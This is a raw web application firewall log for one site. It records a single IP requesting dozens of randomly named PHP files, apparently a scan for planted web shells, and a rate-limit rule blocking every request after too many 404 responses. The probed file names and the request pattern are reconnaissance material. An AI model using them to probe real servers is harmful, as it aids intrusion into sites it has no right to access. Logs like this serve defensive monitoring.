[Wed Jan 07 00:18:07.297410 2026] [:error] [pid 35140:tid 35159] [client 20.196.88.169:17087] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/siln.php"] [unique_id "aV01v3oQaIDFMbT-XMwJHwAAARE"]
[Wed Jan 07 00:18:07.571556 2026] [:error] [pid 45012:tid 45023] [client 20.196.88.169:17075] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/siln.php"] [unique_id "aV01vxaMAxCuju1d0uZCkAAAAMk"]
[Wed Jan 07 00:18:07.842444 2026] [:error] [pid 45012:tid 45018] [client 20.196.88.169:14175] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/siln.php"] [unique_id "aV01vxaMAxCuju1d0uZCkwAAAMQ"]
[Wed Jan 07 00:18:08.111642 2026] [:error] [pid 44903:tid 44924] [client 20.196.88.169:30191] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/siln.php"] [unique_id "aV01wNhHqjs38zbkQPBR0AAAABE"]
[Wed Jan 07 00:18:08.380951 2026] [:error] [pid 45012:tid 45019] [client 20.196.88.169:29507] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thxt.php"] [unique_id "aV01wBaMAxCuju1d0uZClAAAAMU"]
[Wed Jan 07 00:18:08.652626 2026] [:error] [pid 35140:tid 35149] [client 20.196.88.169:14207] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thxt.php"] [unique_id "aV01wHoQaIDFMbT-XMwJIQAAAQc"]
[Wed Jan 07 00:18:08.922942 2026] [:error] [pid 44904:tid 44950] [client 20.196.88.169:14153] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thxt.php"] [unique_id "aV01wDtieuI1BJEZcvdrawAAAEk"]
[Wed Jan 07 00:18:09.193010 2026] [:error] [pid 45959:tid 45977] [client 20.196.88.169:30150] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thxt.php"] [unique_id "aV01wVajdn8P3hjgMYwzSwAAAU8"]
[Wed Jan 07 00:18:09.462212 2026] [:error] [pid 45012:tid 45026] [client 20.196.88.169:24960] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "aV01wRaMAxCuju1d0uZClQAAAMw"]
[Wed Jan 07 00:18:09.734945 2026] [:error] [pid 45959:tid 45963] [client 20.196.88.169:17055] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "aV01wVajdn8P3hjgMYwzUgAAAUE"]
[Wed Jan 07 00:18:10.004644 2026] [:error] [pid 45012:tid 45030] [client 20.196.88.169:3261] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "aV01whaMAxCuju1d0uZClwAAANA"]
[Wed Jan 07 00:18:10.281483 2026] [:error] [pid 45959:tid 45974] [client 20.196.88.169:23849] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tajj.php"] [unique_id "aV01wlajdn8P3hjgMYwzVAAAAUw"]
[Wed Jan 07 00:18:10.557524 2026] [:error] [pid 45012:tid 45029] [client 20.196.88.169:14180] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aV01whaMAxCuju1d0uZCmQAAAM8"]
[Wed Jan 07 00:18:10.829330 2026] [:error] [pid 45012:tid 45014] [client 20.196.88.169:17047] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aV01whaMAxCuju1d0uZCnAAAAMA"]
[Wed Jan 07 00:18:11.100749 2026] [:error] [pid 44903:tid 44907] [client 20.196.88.169:14145] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aV01w9hHqjs38zbkQPBR1AAAAAA"]
[Wed Jan 07 00:18:11.371752 2026] [:error] [pid 45012:tid 45021] [client 20.196.88.169:3352] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aV01wxaMAxCuju1d0uZCnQAAAMc"]
[Wed Jan 07 00:18:11.642434 2026] [:error] [pid 44904:tid 44946] [client 20.196.88.169:30159] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV01wztieuI1BJEZcvdrbQAAAEU"]
[Wed Jan 07 00:18:11.912866 2026] [:error] [pid 35140:tid 35142] [client 20.196.88.169:24970] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV01w3oQaIDFMbT-XMwJJAAAAQA"]
[Wed Jan 07 00:18:12.182622 2026] [:error] [pid 44904:tid 44964] [client 20.196.88.169:17034] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV01xDtieuI1BJEZcvdrbwAAAFc"]
[Wed Jan 07 00:18:12.455026 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:17069] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aV01xFajdn8P3hjgMYwzWwAAAUg"]
[Wed Jan 07 00:18:12.721889 2026] [:error] [pid 35140:tid 35153] [client 20.196.88.169:25014] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aV01xHoQaIDFMbT-XMwJKAAAAQs"]
[Wed Jan 07 00:18:12.990345 2026] [:error] [pid 45012:tid 45035] [client 20.196.88.169:14183] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aV01xBaMAxCuju1d0uZCoQAAANU"]
[Wed Jan 07 00:18:13.284658 2026] [:error] [pid 45959:tid 45963] [client 20.196.88.169:29529] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aV01xVajdn8P3hjgMYwzYAAAAUE"]
[Wed Jan 07 00:18:13.554818 2026] [:error] [pid 45959:tid 45974] [client 20.196.88.169:29555] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aV01xVajdn8P3hjgMYwzYgAAAUw"]
[Wed Jan 07 00:18:13.824515 2026] [:error] [pid 44905:tid 44983] [client 20.196.88.169:3984] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aV01xbu7ufwWVst9EAsh8AAAAI8"]
[Wed Jan 07 00:18:14.099421 2026] [:error] [pid 45959:tid 45986] [client 20.196.88.169:29518] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aV01xlajdn8P3hjgMYwzZAAAAVg"]
[Wed Jan 07 00:18:14.379904 2026] [:error] [pid 35140:tid 35164] [client 20.196.88.169:27852] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aV01xnoQaIDFMbT-XMwJKwAAARY"]
[Wed Jan 07 00:18:14.650219 2026] [:error] [pid 45012:tid 45032] [client 20.196.88.169:17073] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aV01xhaMAxCuju1d0uZCowAAANI"]
[Wed Jan 07 00:18:14.921369 2026] [:error] [pid 45959:tid 45968] [client 20.196.88.169:29513] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13ede.php"] [unique_id "aV01xlajdn8P3hjgMYwzZgAAAUY"]
[Wed Jan 07 00:18:15.200976 2026] [:error] [pid 44903:tid 44933] [client 20.196.88.169:27872] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13ede.php"] [unique_id "aV01x9hHqjs38zbkQPBR2AAAABg"]
[Wed Jan 07 00:18:15.471910 2026] [:error] [pid 44905:tid 44985] [client 20.196.88.169:4009] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13ede.php"] [unique_id "aV01x7u7ufwWVst9EAsh8wAAAJE"]
[Wed Jan 07 00:18:15.748649 2026] [:error] [pid 44903:tid 44921] [client 20.196.88.169:3211] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13ede.php"] [unique_id "aV01x9hHqjs38zbkQPBR2gAAAA4"]
[Wed Jan 07 00:18:16.019068 2026] [:error] [pid 44903:tid 44928] [client 20.196.88.169:25021] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xcre1.php"] [unique_id "aV01yNhHqjs38zbkQPBR3QAAABU"]
[Wed Jan 07 00:18:16.294048 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:3968] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xcre1.php"] [unique_id "aV01yFajdn8P3hjgMYwzaQAAAUs"]
[Wed Jan 07 00:18:16.562968 2026] [:error] [pid 35140:tid 35151] [client 20.196.88.169:17068] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xcre1.php"] [unique_id "aV01yHoQaIDFMbT-XMwJLQAAAQk"]
[Wed Jan 07 00:18:16.832792 2026] [:error] [pid 44905:tid 44974] [client 20.196.88.169:30168] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xcre1.php"] [unique_id "aV01yLu7ufwWVst9EAsh9wAAAIY"]
[Wed Jan 07 00:18:17.107458 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:27874] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aV01yRaMAxCuju1d0uZCrAAAANM"]
[Wed Jan 07 00:18:17.377688 2026] [:error] [pid 44905:tid 44976] [client 20.196.88.169:29564] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aV01ybu7ufwWVst9EAsh-gAAAIg"]
[Wed Jan 07 00:18:17.648586 2026] [:error] [pid 44905:tid 44992] [client 20.196.88.169:24971] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aV01ybu7ufwWVst9EAsh-wAAAJg"]
[Wed Jan 07 00:18:17.918623 2026] [:error] [pid 35140:tid 35165] [client 20.196.88.169:24992] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d12.php"] [unique_id "aV01yXoQaIDFMbT-XMwJLgAAARc"]
[Wed Jan 07 00:18:18.191852 2026] [:error] [pid 45012:tid 45017] [client 20.196.88.169:17024] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x0x.php"] [unique_id "aV01yhaMAxCuju1d0uZCsAAAAMM"]
[Wed Jan 07 00:18:18.465780 2026] [:error] [pid 44905:tid 44987] [client 20.196.88.169:4031] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x0x.php"] [unique_id "aV01yru7ufwWVst9EAsh_gAAAJM"]
[Wed Jan 07 00:18:18.735910 2026] [:error] [pid 44904:tid 44948] [client 20.196.88.169:13420] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x0x.php"] [unique_id "aV01yjtieuI1BJEZcvdrcgAAAEc"]
[Wed Jan 07 00:18:19.023043 2026] [:error] [pid 44904:tid 44954] [client 20.196.88.169:17074] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x0x.php"] [unique_id "aV01yztieuI1BJEZcvdrdAAAAE0"]
[Wed Jan 07 00:18:19.293139 2026] [:error] [pid 44904:tid 44960] [client 20.196.88.169:27859] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aV01yztieuI1BJEZcvdrdQAAAFM"]
[Wed Jan 07 00:18:19.566035 2026] [:error] [pid 45012:tid 45031] [client 20.196.88.169:17085] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aV01yxaMAxCuju1d0uZCswAAANE"]
[Wed Jan 07 00:18:19.835739 2026] [:error] [pid 35140:tid 35157] [client 20.196.88.169:27871] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aV01y3oQaIDFMbT-XMwJNAAAAQ8"]
[Wed Jan 07 00:18:20.109514 2026] [:error] [pid 44904:tid 44947] [client 20.196.88.169:25019] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aV01zDtieuI1BJEZcvdregAAAEY"]
[Wed Jan 07 00:18:20.379373 2026] [:error] [pid 45959:tid 45963] [client 20.196.88.169:30188] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws35.php"] [unique_id "aV01zFajdn8P3hjgMYwzbAAAAUE"]
[Wed Jan 07 00:18:20.648064 2026] [:error] [pid 35140:tid 35149] [client 20.196.88.169:4019] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws35.php"] [unique_id "aV01zHoQaIDFMbT-XMwJNQAAAQc"]
[Wed Jan 07 00:18:20.918408 2026] [:error] [pid 44904:tid 44955] [client 20.196.88.169:13432] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws35.php"] [unique_id "aV01zDtieuI1BJEZcvdrewAAAE4"]
[Wed Jan 07 00:18:21.196111 2026] [:error] [pid 44903:tid 44924] [client 20.196.88.169:27882] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws35.php"] [unique_id "aV01zdhHqjs38zbkQPBR4gAAABE"]
[Wed Jan 07 00:18:21.477279 2026] [:error] [pid 44904:tid 44943] [client 20.196.88.169:30171] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aV01zTtieuI1BJEZcvdrfQAAAEI"]
[Wed Jan 07 00:18:21.746253 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:25023] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aV01zRaMAxCuju1d0uZCugAAANM"]
[Wed Jan 07 00:18:22.015107 2026] [:error] [pid 45959:tid 45969] [client 20.196.88.169:27883] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aV01zlajdn8P3hjgMYwzbwAAAUc"]
[Wed Jan 07 00:18:22.287225 2026] [:error] [pid 44904:tid 44950] [client 20.196.88.169:17028] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rtx.php"] [unique_id "aV01zjtieuI1BJEZcvdrfwAAAEk"]
[Wed Jan 07 00:18:22.560984 2026] [:error] [pid 44904:tid 44959] [client 20.196.88.169:3974] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f-401.php"] [unique_id "aV01zjtieuI1BJEZcvdrgAAAAFI"]
